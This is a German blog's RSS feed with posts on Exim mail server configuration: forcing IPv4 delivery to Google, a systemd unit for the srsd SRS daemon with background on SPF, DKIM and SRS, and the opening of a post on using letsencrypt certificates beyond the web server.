<?xml version="1.0" encoding="utf-8" ?>

<rss version="2.0" 
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
   xmlns:admin="http://webns.net/mvcb/"
   xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
   xmlns:wfw="http://wellformedweb.org/CommentAPI/"
   xmlns:content="http://purl.org/rss/1.0/modules/content/"
   >
<channel>
    
    <title>Netz - Rettung - Recht (Artikel mit Tag exim)</title>
    <link>https://netz-rettung-recht.de/</link>
    <description>Aus dem Leben eines Szlauszafs</description>
    <dc:language>de</dc:language>
    <generator>Serendipity 2.5.0 - http://www.s9y.org/</generator>
    <pubDate>Sat, 11 May 2019 14:58:08 GMT</pubDate>

    <image>
    <url>https://netz-rettung-recht.de/templates/2k11/img/s9y_banner_small.png</url>
    <title>RSS: Netz - Rettung - Recht - Aus dem Leben eines Szlauszafs</title>
    <link>https://netz-rettung-recht.de/</link>
    <width>100</width>
    <height>21</height>
</image>

<item>
    <title>Exim: Mailauslieferung nur über IPv4, bspw. an Google</title>
    <link>https://netz-rettung-recht.de/archives/2124-Exim-Mailauslieferung-nur-ueber-IPv4,-bspw.-an-Google.html</link>
            <category>Bits'n'Bytes</category>
    
    <comments>https://netz-rettung-recht.de/archives/2124-Exim-Mailauslieferung-nur-ueber-IPv4,-bspw.-an-Google.html#comments</comments>
    <wfw:comment>https://netz-rettung-recht.de/wfwcomment.php?cid=2124</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>https://netz-rettung-recht.de/rss.php?version=2.0&amp;type=comments&amp;cid=2124</wfw:commentRss>
    

    <author>nospam@example.com (Thomas Hochstein)</author>
    <content:encoded>
    &lt;p&gt;Vor einem Jahr hatte ich darüber &lt;a href=&quot;https://netz-rettung-recht.de/archives/2033-Exim-Mailauslieferung-ueber-IPv4-erzwingen.html&quot; title=&quot;&quot;&gt;berichtet&lt;/a&gt;, dass sich viele Probleme bei der Mailauslieferung an Google schlicht durch den Verzicht auf IPv6 für den Mailversand beheben lassen, und dafür auch eine Lösung vorgestellt. Diesen Weg würde ich aber nicht mehr empfehlen.&lt;/p&gt;

&lt;p&gt;Die Verwendung eines eigenen Routers wird in vielen Fällen ein gangbarer Weg sein; er ist aber unnötig komplex und kann Schwierigkeiten aufwerfen, wenn es weitere Router für Spezialfälle gibt - denn dann wird ggf. nur der andere Router durchlaufen (oder der Router für &amp;#8220;Mailauslieferung an Google über IPv4&amp;#8221;, aber nicht der Router für den anderen Spezialfall).&lt;/p&gt;

&lt;p&gt;Sehr viel einfacher und, so weit ich sehe, ohne Nebeneffekte ist die Vorgehensweise, die ich bereits in meinem damaligen Blogeintrag angesprochen habe (der heute auch entsprechend aktualisiert wurde): man beschränkt den DNS-Lookup für &lt;code&gt;*.google.com&lt;/code&gt; auf IPv4. Dazu genügt eine einzelne Zeile im Hauptteil der Konfigurationsdatei, also vor ACLs, Routern und Co:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;dns_ipv4_lookup = *.google.com
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Man kann das ebenso leicht auch generischer lösen:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;dns_ipv4_lookup = /etc/exim4/domains-force-ipv4-lookup
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;In &lt;code&gt;/etc/exim4/domains-force-ipv4-lookup&lt;/code&gt; genügt dann ein Eintrag wie&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;*.google.com
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Fertig. Tut. Ist viel simpler und weniger fehleranfällig.&lt;/p&gt;
 
    </content:encoded>

    <pubDate>Sat, 10 Nov 2018 08:30:00 +0000</pubDate>
    <guid isPermaLink="false">https://netz-rettung-recht.de/archives/2124-guid.html</guid>
    <category>e-mail</category>
<category>exim</category>
<category>ipv6</category>

</item>
<item>
    <title>Exim: Mailauslieferung über IPv4 erzwingen</title>
    <link>https://netz-rettung-recht.de/archives/2033-Exim-Mailauslieferung-ueber-IPv4-erzwingen.html</link>
            <category>Bits'n'Bytes</category>
    
    <comments>https://netz-rettung-recht.de/archives/2033-Exim-Mailauslieferung-ueber-IPv4-erzwingen.html#comments</comments>
    <wfw:comment>https://netz-rettung-recht.de/wfwcomment.php?cid=2033</wfw:comment>

    <slash:comments>1</slash:comments>
    <wfw:commentRss>https://netz-rettung-recht.de/rss.php?version=2.0&amp;type=comments&amp;cid=2033</wfw:commentRss>
    

    <author>nospam@example.com (Thomas Hochstein)</author>
    <content:encoded>
    &lt;p&gt;Man munkelt, dass insbesondere Google eingehende E-Mails unterschiedlich streng filtert, je nachdem, ob sie per IPv6 oder per IPv4 eingeliefert werden.&lt;/p&gt;

&lt;p&gt;Google selbst deutet das in seinen &lt;em&gt;Bulk Senders Guidelines&lt;/em&gt; durch den Abschnitt &lt;a href=&quot;https://support.google.com/mail/answer/81126#authentication&quot; title=&quot;301 Moved&quot;&gt;&lt;em&gt;Additional guidelines for IPv6&lt;/em&gt;&lt;/a&gt; an, und ich hatte verschiedentlich den Eindruck, dass E-Mail, die ich an Adressaten bei Google (GMail, Hosting, &amp;#8230;) versende, dort jedenfalls nicht in der Inbox landet. Für Mails an &lt;em&gt;GoogleGroups&lt;/em&gt; - die u.a. Mailinglisten mit einem Webinterface und Webarchiv darstellen - kann ich das sogar positiv belegen: versende ich E-Mails über IPv6 nach dort, werden sie zwar lt. Logfile angenommen, dann aber offensichtlich ausgefiltert. Jedenfalls erscheinen sie nie in der &lt;em&gt;GoogleGroup&lt;/em&gt;, auch nach mehreren Versuchen und mehreren Tagen nicht. Versende ich dieselbe Mail aber über IPv4, trifft sie binnen Sekunden ein.&lt;/p&gt;

&lt;p&gt;Ein solches Vorgehen mag sinnvoll erscheinen (immerhin kann ein Spammer IPv6-Adressen - im Gegensatz zum knappen IPv4-Adressarum - vermutlich wochenlang wechseln wie andere Leute ihre Unterhosen, so dass RBLs da wenig helfen), aber es macht die Sache für denjenigen, der Mail an Google loswerden will, nicht einfacher.&lt;/p&gt;

&lt;p&gt;Die Lösung mag in einer Änderung der Konfiguration liegen; so soll es helfen, passende &lt;em&gt;SPF&lt;/em&gt;-Einträge hinzuzufügen und die Mails mit &lt;em&gt;DKIM&lt;/em&gt; zu signieren, aber damit muss ich mich zunächst näher beschäftigen, und ob das dann auch &lt;em&gt;wirklich&lt;/em&gt; hilft, weiß ich dann noch immer nicht. Was das Problem aber definitiv - jedenfalls derzeit - löst, ist die Mailauslieferung über IPv4.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Exim&lt;/em&gt; bietet dafür verschiedene Lösungsmöglichkeiten:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Man kann IPv6 komplett abdrehen, indem man im Hauptteil der Konfiguration ein beherztes &lt;code&gt;disable_ipv6 = true&lt;/code&gt; einfügt. Das will man aber vermutlich nicht.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Man kann &lt;em&gt;Exim&lt;/em&gt; vorgeben, dass er für bestimmte Domains nur A-Records, also IPv4-DNS-Einträge, berücksichtigen soll, indem man im Hauptteil der Konfiguration die Option &lt;code&gt;dns_ipv4_lookup&lt;/code&gt; mit einer entsprechenden Domainliste versogt, bspw. &lt;code&gt;dns_ipv4_lookup = *.google.com&lt;/code&gt;. (Andere Domains wie &lt;em&gt;gmail.com&lt;/em&gt;, &lt;em&gt;googlemail.com&lt;/em&gt; oder &lt;em&gt;googlegroups.com&lt;/em&gt; müssen nicht berücksichtigt werden, weil alle MXe auch dieser Domains auf &lt;em&gt;google.com&lt;/em&gt; enden.) Das wäre eine Möglichkeit; ich bin mir aber nicht sicher, ob sich dabei nicht Seiteneffekte ergeben, d.h. die Folgen nicht nur auf die Mailauslieferung beschränkt sind.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Update vom 11.10.2018&lt;/strong&gt;: Seiteneffekte sind nicht erkennbar, und ich würde genau diesen Weg empfehlen. Der nachfolgend vorgestellte Weg funktioniert nur dann, wenn es keine anderen Router für &amp;#8220;Spezialfälle&amp;#8221; gibt, die vorher greifen, und macht die Lösung unnötig kompliziert.&lt;/p&gt;

&lt;p&gt;Eigentlich will ich ja nur, dass MX-Einträge ignoriert werden, die auf einen Host zeigen, der eine IPv6-Adresse hat, bzw. bei Hosts mit mehreren A- und AAAA-Records die letzteren ignoriert werden. Und glücklicherweise geht auch das.&lt;/p&gt;

&lt;p&gt;Es genügt, einen neuen &lt;em&gt;Router&lt;/em&gt; zu erstellen (und zwar vor dem &lt;em&gt;Router&lt;/em&gt;, der normalerweise für die Auslieferung externer Mail zuständig ist, defaultmäßig &lt;code&gt;dnslookup&lt;/code&gt;):&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;# This router routes remote addresses using ipv4 hosts only

ipv4_only:
  driver = dnslookup
  domains = +ipv4_forced_domains
  transport = remote_smtp
  ignore_target_hosts = &amp;lt;; 0::0/0
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Dort kann man entweder die betreffenden Domains fest verdrahten, oder man löst es (wie hier) über eine Domainliste namens &lt;code&gt;ipv4_forced_domains&lt;/code&gt;, die dann im Hauptteil der Konfiguration noch entsprechend definiert werden muss:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;domainlist ipv4_forced_domains = /etc/exim4/domains-send-ipv4
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;In der Datei &lt;code&gt;/etc/exim4/domains-send-ipv4&lt;/code&gt; finden sich dann alle Domains, an deren MXe nur per IPv4 ausgeliefert werden soll, jeweils eine pro Zeile.&lt;/p&gt;

&lt;p&gt;Ein Test bestätigt den Erfolg. Vorher:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;# exim -bt postmaster@google.com
postmaster@google.com
  router = dnslookup, transport = remote_smtp
  host aspmx.l.google.com      [2a00:1450:400c:c06::1b] MX=10
  host aspmx.l.google.com      [64.233.184.26]          MX=10
  host alt1.aspmx.l.google.com [2a00:1450:4010:c07::1a] MX=20
  host alt1.aspmx.l.google.com [64.233.164.26]          MX=20
  host alt2.aspmx.l.google.com [2404:6800:4003:c02::1b] MX=30
  host alt2.aspmx.l.google.com [74.125.68.26]           MX=30
  host alt3.aspmx.l.google.com [2404:6800:4008:c02::1a] MX=40
  host alt3.aspmx.l.google.com [74.125.23.26]           MX=40
  host alt4.aspmx.l.google.com [2607:f8b0:400e:c00::1b] MX=50
  host alt4.aspmx.l.google.com [173.194.202.26]         MX=50
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Nachher:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;# exim -bt postmaster@google.com
postmaster@google.com
  router = ipv4_only, transport = remote_smtp
  host aspmx.l.google.com      [64.233.184.26]  MX=10
  host alt1.aspmx.l.google.com [64.233.164.26]  MX=20
  host alt2.aspmx.l.google.com [74.125.68.26]   MX=30
  host alt3.aspmx.l.google.com [74.125.23.26]   MX=40
  host alt4.aspmx.l.google.com [173.194.202.26] MX=50
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Voilà.&lt;/p&gt;

&lt;p&gt;Die Idee ist natürlich nicht von mir, sondern aus dem Exim-Wiki: &lt;a href=&quot;https://github.com/Exim/exim/wiki/How-to-force-IPv4-connections-for-specific-domains-if-IPv6-is-enabled&quot; title=&quot;How to force IPv4 connections for specific domains if IPv6 is enabled · Exim/exim Wiki · GitHub&quot;&gt;How to force IPv4 connections for specific domains if IPv6 is enabled&lt;/a&gt; Ich habe sie allerdings etwas angepasst und vereinfacht.&lt;/p&gt;

&lt;p&gt;Abschließend die Frage: Hat schon jemand Erfahrungen damit gemacht, &lt;em&gt;SPF&lt;/em&gt;-Einträge und vor allem &lt;em&gt;DKIM&lt;/em&gt;-Signaturen für eine Vielzahl potentieller Absenderdomains zu pflegen (und - bzgl. &lt;em&gt;DKIM&lt;/em&gt; - mit Exim zu konfigurieren)? Ich stelle mir das nicht so ganz einfach vor.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Update (2018-06-03)&lt;/strong&gt;: Auch für den Mailserve &lt;em&gt;Postfix&lt;/em&gt; gibt es eine vergleichbare Lösung - &lt;a href=&quot;https://blog.carl.pro/2016/02/prevent-postfix-smtp-from-contacting-google-mail-using-ipv6/&quot; title=&quot;&quot;&gt;Prevent Postfix SMTP from contacting Google Mail using IPv6&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Update (2018-11-10)&lt;/strong&gt;: Ich empfehle diesen Weg nicht mehr, sondern stattdessen &lt;a href=&quot;https://netz-rettung-recht.de/archives/2124-Exim-Mailauslieferung-nur-ueber-IPv4,-bspw.-an-Google.html&quot; title=&quot;&quot;&gt;diesen&lt;/a&gt;.&lt;/p&gt;
&lt;img src=&quot;https://ssl-vg03.met.vgwort.de/na/0749dc068b8d45a583d17a7c33ad8c32&quot; width=&quot;1&quot; height=&quot;1&quot; alt=&quot;&quot;&gt; 
    </content:encoded>

    <pubDate>Mon, 18 Sep 2017 06:35:00 +0000</pubDate>
    <guid isPermaLink="false">https://netz-rettung-recht.de/archives/2033-guid.html</guid>
    <category>e-mail</category>
<category>exim</category>
<category>ipv6</category>

</item>
<item>
    <title>systemd-Unit für srsd unter Debian </title>
    <link>https://netz-rettung-recht.de/archives/2016-systemd-Unit-fuer-srsd-unter-Debian.html</link>
            <category>Bits'n'Bytes</category>
    
    <comments>https://netz-rettung-recht.de/archives/2016-systemd-Unit-fuer-srsd-unter-Debian.html#comments</comments>
    <wfw:comment>https://netz-rettung-recht.de/wfwcomment.php?cid=2016</wfw:comment>

    <slash:comments>6</slash:comments>
    <wfw:commentRss>https://netz-rettung-recht.de/rss.php?version=2.0&amp;type=comments&amp;cid=2016</wfw:commentRss>
    

    <author>nospam@example.com (Thomas Hochstein)</author>
    <content:encoded>
    &lt;p&gt;Ich fürchte, das wird einer dieser Beiträge, bei dem die notwendige Vorrede bald länger wird als der Beitrag selbst &amp;#8230;&lt;/p&gt;

&lt;p&gt;Aber fangen wir einfach einmal vorne an: Der Kampf gegen unerwünschte E-Mails, die einen mit &lt;em&gt;Malware&lt;/em&gt; oder Angeboten für die Verlängerung oder Vergrößung verschiedenster Körperteile (neuerdings auch - noch sachnah - gerne für den Wechsel der Krankenkasse) beglücken, heutzutage meist als &lt;em&gt;Spam&lt;/em&gt; bezeichnet, tobt seit Jahrzehnten. Nach den verschiedensten Filtern entstanden auch mehrere Ansätze, die gar nicht so sehr den Spam an sich bekämpfen, sondern weiter vorne - oder auch parallel - ansetzen und die (meist mit Spam verbundene) Fälschung von Absenderadressen verhindern bzw. umgekehrt eine (begrenzte) Garantie für die Echtheit des Absenders übernehmen wollen.&lt;/p&gt;

&lt;h3 id=&quot;-spf-und-dkim-&quot;&gt;&lt;em&gt;SPF&lt;/em&gt; und &lt;em&gt;DKIM&lt;/em&gt;&lt;/h3&gt;

&lt;p&gt;Dazu gehören &lt;strong&gt;SPF&lt;/strong&gt; (&lt;a href=&quot;https://en.wikipedia.org/wiki/Sender_Policy_Framework&quot; title=&quot;&quot;&gt;&lt;em&gt;Sender Policy Framework&lt;/em&gt;&lt;/a&gt;, früher: &lt;em&gt;sender permitted from&lt;/em&gt;) und &lt;strong&gt;DKIM&lt;/strong&gt; (&lt;a href=&quot;https://en.wikipedia.org/wiki/DomainKeys_Identified_Mail&quot; title=&quot;&quot;&gt;&lt;em&gt;DomainKeys Identified Mail&lt;/em&gt;&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;Bei &lt;strong&gt;SPF&lt;/strong&gt; nutzt der Verantwortliche für eine Domain (meist ein Provider) das &lt;em&gt;DNS&lt;/em&gt; (&lt;em&gt;Domain Name System&lt;/em&gt;), um dort bekanntzugeben, von welchen Servern (welchen IP-Adressen) &amp;#8220;echte&amp;#8221; Mail mit einem Absender aus dieser Domain stammen dürfen. So kann bspw. &lt;em&gt;GMX&lt;/em&gt; festlegen, dass legitime Mail mit einem Absender &lt;code&gt;@gmx.net&lt;/code&gt; (also bspw. &lt;code&gt;irgendwer@gmx.net&lt;/code&gt;) nur von einem ihrer Mailserver ausgehen dürfen:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;thh@thangorodrim:~$ host -t txt gmx.net 
gmx.net descriptive text &quot;v=spf1 ip4:213.165.64.0/23 ip4:74.208.5.64/26 ip4:212.227.126.128/25 ip4:212.227.15.0/25 ip4:212.227.17.0/27 ip4:74.208.4.192/26 ip4:82.165.159.0/24 ip4:217.72.207.0/27 -all&quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;(Da sieht man dann auch direkt das erste Problem: wer als Kunde von &lt;em&gt;GMX&lt;/em&gt; eine E-Mail mit seiner &lt;em&gt;GMX&lt;/em&gt;-Adresse über einen anderen Mailserver versenden will, steht vor Schwierigkeiten.)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SPF&lt;/strong&gt; funktioniert besonders gut zusammen mit &lt;strong&gt;DNSEC&lt;/strong&gt;, also digital signierten &lt;em&gt;DNS&lt;/em&gt;-Einträgen, deren Echtheit sich prüfen lässt.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DKIM&lt;/strong&gt; geht einen Schritt weiter und publiziert nicht (nur) eine (sich ggf. oft ändernde) Liste legitimer Absender-Server für eine Domain, sondern veröffentlicht im &lt;em&gt;DNS&lt;/em&gt; einen digitalen Signaturschlüssel, mit dem dann die wesentlichen Teile der Header (&amp;#8220;Kopfzeilen&amp;#8221;) einer jeden ausgehenden Mail digital signiert werden. Auch hier steht natürlich vor Problemen, wer nicht den Server des Anbieters zum Mailversand nutzt, denn nur der kann entsprechend digital signieren.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SPF&lt;/strong&gt; und auch &lt;strong&gt;DKIM&lt;/strong&gt; werden aber vor allem dann zum Problem, wenn man E-Mails weiterleiten möchte - also eine Mailingliste betreibt, oder auch nur einen einfachen Mailverteiler, oder eine Mailweiterleitung von einem Postfach auf ein anderes eingerichtet hat. In allen Fällen geht dann nämlich die E-Mail mit dem (im Beispiel) &lt;em&gt;GMX&lt;/em&gt;-Absender bei der Mailingliste (oder dem Mailverteiler, oder dem ersten eigenen Postfach) ein und wird von da weiterversandt (an die Teilnehmer der Mailingliste, den Verteiler ode das Weiterleitungsziel, also das andere eigene Postfach). Dort aber kommt die E-Mail mit einem &lt;em&gt;GMX&lt;/em&gt;-Absender, aber von einem falschen Server aus an! (Nämlich von dem Mailinglistenserver, dem Mailverteiler-Server oder dem Server, der zum ersten eigenen Postfach gehört.) Das führt zu einer fehlschlagenden &lt;em&gt;SPF&lt;/em&gt;-Prüfung, und wenn bei der Weiterleitung (gerade bei einer Mailingliste!) Header eingefügt oder geändert wurden, dann schlägt auch die &lt;em&gt;DKIM&lt;/em&gt;-Signaturprüfung fehl.&lt;/p&gt;

&lt;h3 id=&quot;-srs-&quot;&gt;&lt;em&gt;SRS&lt;/em&gt;&lt;/h3&gt;

&lt;p&gt;Das &lt;strong&gt;SPF&lt;/strong&gt;-Problem für Weiterleitungen lösen will &lt;strong&gt;SRS&lt;/strong&gt;, das &lt;em&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Sender_Rewriting_Scheme&quot; title=&quot;&quot;&gt;Sender Rewriting Scheme&lt;/a&gt;&lt;/em&gt;: der technische Absender der Mail (der Envelope-From) wird geändert, so dass die E-Mail nicht mehr von (im Beispiel) &lt;em&gt;GMX&lt;/em&gt; kommt, sondern vom Weiterleitungsserver.&lt;/p&gt;

&lt;p&gt;Die E-Mail von &lt;code&gt;irgendwer@gmx.net&lt;/code&gt; wird also vom Server &lt;code&gt;postfach.provider.example&lt;/code&gt; mit einem Absender wie &lt;code&gt;weiterleitung@postfach.provider.example&lt;/code&gt; weitergeschickt. Jetzt kommt die Mail für den letztendlichen Empfänger vom &amp;#8220;richtigen&amp;#8221; Server, nämlich &lt;code&gt;postfach.provider.example&lt;/code&gt; (sie hat ja keinen &lt;em&gt;GMX&lt;/em&gt;-Absender mehr!).&lt;/p&gt;

&lt;p&gt;Das allerdings ist nur der erste Schritt: Fehlermeldungen (wie zum Beispiel über ein volles Postfach) sollen ja nicht beim Weiterleitungsserver landen, sondern an den ursprünglichen Absender zurückgehen. Dieser muss sich also aus der neu erzeugten Absenderadresse rekonstruieren lassen. Da hilft so etwas wie &lt;strong&gt;VERP&lt;/strong&gt; (&lt;em&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Variable_envelope_return_path&quot; title=&quot;&quot;&gt;Variable envelope return path&lt;/a&gt;&lt;/em&gt;); statt &lt;code&gt;weiterleitung@postfach.provider.example&lt;/code&gt; nehmen wir also &lt;code&gt;weiterleitung+irgendwer=gmx.netg@postfach.provider.example&lt;/code&gt;. Da steckt die alte Adresse drin; wir wissen also, wo wir Fehlermeldungen an diese Adresse hinschicken müssen.&lt;/p&gt;

&lt;p&gt;Auch das genügt aber noch nicht; denn nur echte Fehlermeldungen sollen an den Absender zurückgehen, nicht aber möglicher Spam, der mit leerem Absender (wie eine Fehlermeldung) an die durch den Weiterleitungsserver erzeugte Absenderadresse geht. Was hinderte einen Spammer, seine unerwünschten Nachrichten an &lt;code&gt;weiterleitung+irgendwer=gmx.netg@postfach.provider.example&lt;/code&gt; zu schicken? Und dann senden wir den Mist auch noch an &lt;code&gt;irgendwer@gmx.net&lt;/code&gt; weiter! Die von uns erzeugten neuen Absenderadressen müssen also kryptographisch gesichert werden, damit nur wir sie erzeugen können, ein Dritter sie aber nicht erraten kann.&lt;/p&gt;

&lt;h3 id=&quot;-systemd-unit-file-f-r-srds-&quot;&gt;&lt;em&gt;systemd unit file&lt;/em&gt; für &lt;em&gt;srds&lt;/em&gt;&lt;/h3&gt;

&lt;p&gt;Und &amp;#8220;schon&amp;#8221; sind wir beim eigentlichen Thema dieses Eintrags angekommen! &lt;img src=&quot;https://netz-rettung-recht.de/plugins/serendipity_event_emoticate/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; class=&quot;emoticon&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Eine Software, die solche kryptographisch sicheren Absenderadressen erzeugen kann, ist &lt;em&gt;&lt;a href=&quot;http://search.cpan.org/dist/Mail-SRS/srsd&quot; title=&quot;&quot;&gt;srsd&lt;/a&gt;&lt;/em&gt;, der auch in &lt;em&gt;Debian&lt;/em&gt; als &lt;a href=&quot;https://packages.debian.org/stretch/srs&quot; title=&quot;&quot;&gt;Paket verfügbar&lt;/a&gt; ist. Auf meinem alten Server hatte ich das vor Jahren einmal kurzfristig aufsetzen müssen, weil Weiterleitungen (ein simpler Mailverteiler) scheiterten, und diese Lösung wollte ich nunmehr auch auf dem neuen Server haben.&lt;/p&gt;

&lt;p&gt;Eine Anleitung für die Konfiguration von &lt;em&gt;Exim 4&lt;/em&gt; mit &lt;em&gt;srsd&lt;/em&gt; hat &lt;a href=&quot;https://ente.limmat.ch/kb/exim/exim_v4_srs.html&quot; title=&quot;Exim v4 and srs daemon&quot;&gt;Adrian Zaugg&lt;/a&gt; geschrieben; sie setzt allerdings auf ein altes &lt;em&gt;sysvinit&lt;/em&gt;-Startup-Script. &lt;em&gt;systemd&lt;/em&gt; kann zwar auch damit umgehen; ich hätte aber lieber ein &amp;#8220;natives&amp;#8221; &lt;em&gt;unit file&lt;/em&gt; für &lt;em&gt;systemd&lt;/em&gt; gehabt.&lt;/p&gt;

&lt;p&gt;Also habe ich mich ein wenig belesen und bin bei folgender Lösung gelandet, die als &lt;code&gt;/lib/systemd/system/srsd.service&lt;/code&gt; zu speichern ist:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;[Unit]
Description=&#039;srsd - SRS daemon&#039;
After=syslog.target

[Service]
Type=simple
User=Debian-exim
Restart=on-failure

ExecStart=/usr/bin/srsd --secretfile /etc/exim4/srsd.secret
ExecStopPost=/bin/rm /tmp/srsd

[Install]
WantedBy=multi-user.target
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Dann noch das kryptographische Geheimnis erzeugen (bspw. mit &lt;code&gt;openssl rand -base64 12 &amp;gt; /etc/exim4/srsd.secret&lt;/code&gt;), und dann kann es mit &lt;code&gt;systemctl enable srsd&lt;/code&gt; und &lt;code&gt;systemctl start srsd&lt;/code&gt; losgehen.&lt;/p&gt;

&lt;p&gt;Meine Variante der Anbindung an &lt;em&gt;Exim&lt;/em&gt; kann ich dann gelegentlich[tm] mal nachliefern.&lt;/p&gt;

&lt;h3 id=&quot;was-meint-die-werte-leserschaft-&quot;&gt;Was meint die werte Leserschaft?&lt;/h3&gt;

&lt;p&gt;Ich bin sicher, es geht besser - das war mein erstes &lt;em&gt;unit file&lt;/em&gt;, und vieles daran ist aus &lt;em&gt;copy &amp;amp; paste&lt;/em&gt; mit nachfolgendem Ausprobieren entstanden. Vielleicht (nein, sogar sicher!) kann ich ja noch etwas von meinen Lesern lernen? &lt;img src=&quot;https://netz-rettung-recht.de/plugins/serendipity_event_emoticate/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; class=&quot;emoticon&quot; /&gt;&lt;/p&gt;
&lt;img src=&quot;https://ssl-vg03.met.vgwort.de/na/f5da590ad528487cb263d6a11041d1cc&quot; width=&quot;1&quot; height=&quot;1&quot; alt=&quot;&quot;&gt; 
    </content:encoded>

    <pubDate>Mon, 14 Aug 2017 05:10:00 +0000</pubDate>
    <guid isPermaLink="false">https://netz-rettung-recht.de/archives/2016-guid.html</guid>
    <category>debian</category>
<category>e-mail</category>
<category>exim</category>
<category>spam</category>
<category>stretch</category>
<category>systemd</category>

</item>
<item>
    <title>letsencrypt jenseits des Webservers</title>
    <link>https://netz-rettung-recht.de/archives/1943-letsencrypt-jenseits-des-Webservers.html</link>
            <category>Bits'n'Bytes</category>
    
    <comments>https://netz-rettung-recht.de/archives/1943-letsencrypt-jenseits-des-Webservers.html#comments</comments>
    <wfw:comment>https://netz-rettung-recht.de/wfwcomment.php?cid=1943</wfw:comment>

    <slash:comments>3</slash:comments>
    <wfw:commentRss>https://netz-rettung-recht.de/rss.php?version=2.0&amp;type=comments&amp;cid=1943</wfw:commentRss>
    

    <author>nospam@example.com (Thomas Hochstein)</author>
    <content:encoded>
    &lt;p&gt;Vor einigen Monaten hatte ich über &lt;em&gt;letsencrypt&lt;/em&gt;, die neue Zertifizierungsstelle für TLS-Zertifikate, &lt;a href=&quot;https://netz-rettung-recht.de/archives/1903-SSLTLS-mit-Lets-Encrypt.html&quot; title=&quot;&quot;&gt;berichtet&lt;/a&gt; und demletzt meine guten Erfahrungen damit &lt;a href=&quot;https://netz-rettung-recht.de/archives/1916-Lets-Encrypt-Updates.html&quot; title=&quot;&quot;&gt;dargestellt&lt;/a&gt;. Doch &lt;em&gt;HTTP&lt;/em&gt; ist ja nicht das einzige Protokoll, das einer Absicherung bedarf. Wie sieht es mit TLS-Zertifikaten für Mail (&lt;em&gt;SMTP&lt;/em&gt; und &lt;em&gt;POP3&lt;/em&gt; oder &lt;em&gt;IMAP&lt;/em&gt;) und News (&lt;em&gt;NNTP&lt;/em&gt;) oder noch andere Dienste aus?&lt;/p&gt;

&lt;p&gt;Grundsätzlich ist das kein Problem: vorhandene Zertifikate mit dem (oder den) passenden Hostnamen müssen nur eingebunden werden.&lt;/p&gt;

&lt;p&gt;In der Folge stelle ich die Vorgehensweise ausgehend von einem &lt;em&gt;Debian&lt;/em&gt;-&lt;em&gt;Jessie&lt;/em&gt;-System aus vor.&lt;/p&gt;

&lt;h3 id=&quot;erhalt-des-zertifikats&quot;&gt;Erhalt des Zertifikats&lt;/h3&gt;

&lt;p&gt;Am einfachsten ist das, wenn unter jedem Hostnamen auch ein Webserver erreichbar ist; dann kann nämlich einfach das &lt;code&gt;webroot&lt;/code&gt;-&lt;a href=&quot;https://certbot.eff.org/docs/using.html#webroot&quot; title=&quot;&quot;&gt;Plugin&lt;/a&gt; verwendet werden. Ist das nicht der Fall, kommen bspw. das &lt;code&gt;manual&lt;/code&gt;-&lt;a href=&quot;https://certbot.eff.org/docs/using.html#manual&quot; title=&quot;&quot;&gt;Plugin&lt;/a&gt; oder das &lt;code&gt;external&lt;/code&gt;-&lt;a href=&quot;https://github.com/marcan/certbot-external&quot; title=&quot;GitHub - marcan/certbot-external: Certbot plugin that uses an external shell script for domain validation · GitHub&quot;&gt;Plugin&lt;/a&gt; in Betracht.&lt;/p&gt;

&lt;h3 id=&quot;installation-des-zertifikats&quot;&gt;Installation des Zertifikats&lt;/h3&gt;

&lt;p&gt;Das bereits - für den Webserver - vorhandene oder neu erhaltene Zertifikat und der zugehörige Schlüssel (
&lt;em&gt;Key&lt;/em&gt;), die üblicherweise im Verzeichnis &lt;code&gt;/etc/letsencrypt/live/domain.example/&lt;/code&gt; liegen, können nun eingebunden werden - entweder das Zertifikat und die ganze Zertifikatskette mit allen Zwischenzertifikaten zusammen in einer Datei (&lt;code&gt;fullchain.pem&lt;/code&gt;), oder das Zertifikat (&lt;code&gt;cert.pem&lt;/code&gt;) und die Zwischenzertifikate (&lt;code&gt;chain.pem&lt;/code&gt;) getrennt, je nachdem, was die Applikation unterstützt.&lt;/p&gt;

